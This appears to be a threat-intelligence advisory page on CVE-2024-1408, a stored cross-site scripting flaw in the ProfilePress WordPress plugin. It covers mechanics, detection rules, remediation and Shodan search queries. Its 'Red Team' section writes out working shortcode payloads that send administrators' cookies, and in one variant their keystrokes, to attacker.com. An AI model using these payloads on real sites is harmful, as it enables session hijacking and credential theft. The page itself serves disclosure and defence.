☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.4 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-1408

CVE-2024-1408 Cross-Site Scripting in Profilepress
📅 PUBLISHED: 2024-02-20 18:56 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.29%
👁️
0.29% probability
7.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.4
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: N User Interaction None
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-1408 is a Stored Cross-Site Scripting (XSS) vulnerability in the ProfilePress WordPress plugin (versions up to and including 4.14.4). The flaw resides in the edit-profile-text-box shortcode, where user-supplied attributes (specifically type) are not properly sanitized or escaped. An authenticated attacker with at least contributor-level permissions can inject arbitrary JavaScript into profile pages. When other users (including administrators) view the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 with a CVSS score of 6.4 (Medium). No official patch has been released as of this analysis.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. ProfilePress is distributed via the official WordPress plugin repository and third-party marketplaces. Users should verify the integrity of their plugin files and monitor for updates. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): Low (L) – Requires contributor-level or higher access.
  • User Interaction (UI): None (N) – No user action needed for execution.
  • Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited modification possible.
  • Availability (A): None (N) – No impact on availability.

Threat Level: Medium. While the CVSS score is 6.4, the requirement for authenticated access reduces the attack surface. However, the stored nature of the XSS and the potential for privilege escalation (e.g., stealing admin cookies) elevates the risk for WordPress sites with multiple user roles.

Deep Dive & Mechanics

The vulnerability exists in the edit-profile-text-box shortcode provided by the ProfilePress plugin. This shortcode is used to render text input fields in user profile edit forms. The plugin fails to properly sanitize the type attribute passed to the shortcode. An attacker can inject malicious HTML/JavaScript by crafting a shortcode like:

[edit-profile-text-box type="text" onfocus="alert('XSS')" autofocus="autofocus"]

When the shortcode is processed, the type attribute is output directly into the HTML without escaping. The injected onfocus event handler triggers when the input field receives focus, which can happen automatically via the autofocus attribute. The script executes in the context of the victim's browser.

The attack flow:

  1. An authenticated contributor creates or edits a page/post containing the malicious shortcode.
  2. The shortcode is rendered on the profile edit page.
  3. When an administrator or other user visits the page, the injected script executes.
  4. The script can steal cookies, redirect to phishing pages, or perform actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (ProfilePress <= 4.14.4): The plugin likely uses a function similar to:

function edit_profile_text_box_shortcode($atts) {
    $atts = shortcode_atts(array('type' => 'text'), $atts);
    return '<input type="' . $atts['type'] . '" />';
}

The type attribute is directly concatenated into the HTML output without escaping.

Patched Code (Hypothetical):

function edit_profile_text_box_shortcode($atts) {
    $atts = shortcode_atts(array('type' => 'text'), $atts);
    $allowed_types = array('text', 'email', 'url', 'tel', 'number');
    $type = in_array($atts['type'], $allowed_types) ? $atts['type'] : 'text';
    return '<input type="' . esc_attr($type) . '" />';
}

The patched version validates the type against a whitelist and uses esc_attr() to escape the output.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • WordPress instance with ProfilePress plugin <= 4.14.4
  • Contributor-level account or higher

Exploit Steps:

  1. Log in as a contributor.
  2. Create a new post or page.
  3. Insert the following shortcode:
    [edit-profile-text-box type="text" onfocus="fetch('https://attacker.com/steal?cookie='+document.cookie)" autofocus="autofocus"]
    
  4. Publish the post.
  5. When an administrator views the post, the script executes and sends their cookies to the attacker's server.

Alternative Payload (Keylogger):

[edit-profile-text-box type="text" onkeypress="fetch('https://attacker.com/log?key='+String.fromCharCode(event.which))" autofocus="autofocus"]

Blue Team (Detection & Prevention)

Detection:

  • Monitor for posts/pages containing the edit-profile-text-box shortcode with unusual attributes.
  • Look for HTTP requests to unknown external domains originating from WordPress admin pages.
  • Use Web Application Firewall (WAF) rules to block suspicious shortcode attributes.

Prevention:

  • Disable the ProfilePress plugin until a patch is available.
  • Restrict contributor-level permissions to trusted users only.
  • Implement Content Security Policy (CSP) headers to block inline script execution.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Presence of wp-content/plugins/wp-user-avatar/ directory (ProfilePress plugin path).
    • Modified post/page content containing [edit-profile-text-box type="..."] with event handlers.
  • Network Indicators:

    • Outbound HTTP requests to unknown domains from WordPress admin IPs.
    • Requests containing document.cookie in the query string.
  • Log Indicators:

    • WordPress audit logs showing creation of posts/pages by contributors with unusual shortcode usage.
    • Web server logs showing POST requests to wp-admin/admin-ajax.php with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2024_1408_ProfilePress_XSS {
    meta:
        description = "Detects malicious shortcode injection in ProfilePress plugin"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1408"
    strings:
        $shortcode = /\[edit-profile-text-box[^\]]*type\s*=\s*["'][^"']*["'][^\]]*\]/ nocase
        $event_handler = /on\w+\s*=\s*["'][^"']*["']/ nocase
    condition:
        $shortcode and $event_handler
}

Sigma Rule

title: CVE-2024-1408 ProfilePress Stored XSS Detection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit stored XSS in ProfilePress plugin via shortcode injection
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'edit-profile-text-box'
        cs-uri-query|re: 'type\s*=\s*["\'][^"\']*["\']'
    condition: selection
falsepositives:
    - Legitimate use of the shortcode with valid attributes
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1408 ProfilePress Stored XSS Exploit"; flow:to_server,established; content:"edit-profile-text-box"; http_uri; pcre:"/type\s*=\s*[\x22\x27][^\x22\x27]*[\x22\x27]/Ri"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the ProfilePress plugin until an official patch is released.
  2. Review all posts/pages created by contributors for malicious shortcode usage.
  3. Reset all user sessions to invalidate any stolen cookies.

Long-term Fix:

  • Apply the vendor patch when available (currently UNKNOWN).
  • Implement input validation and output escaping for all shortcode attributes.
  • Use a Web Application Firewall (WAF) with rules to block XSS payloads.

Workaround:

  • Restrict contributor permissions to only trusted users.
  • Use a security plugin (e.g., Wordfence) to monitor for suspicious activity.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"ProfilePress"
http.html:"wp-content/plugins/wp-user-avatar"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-1408/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.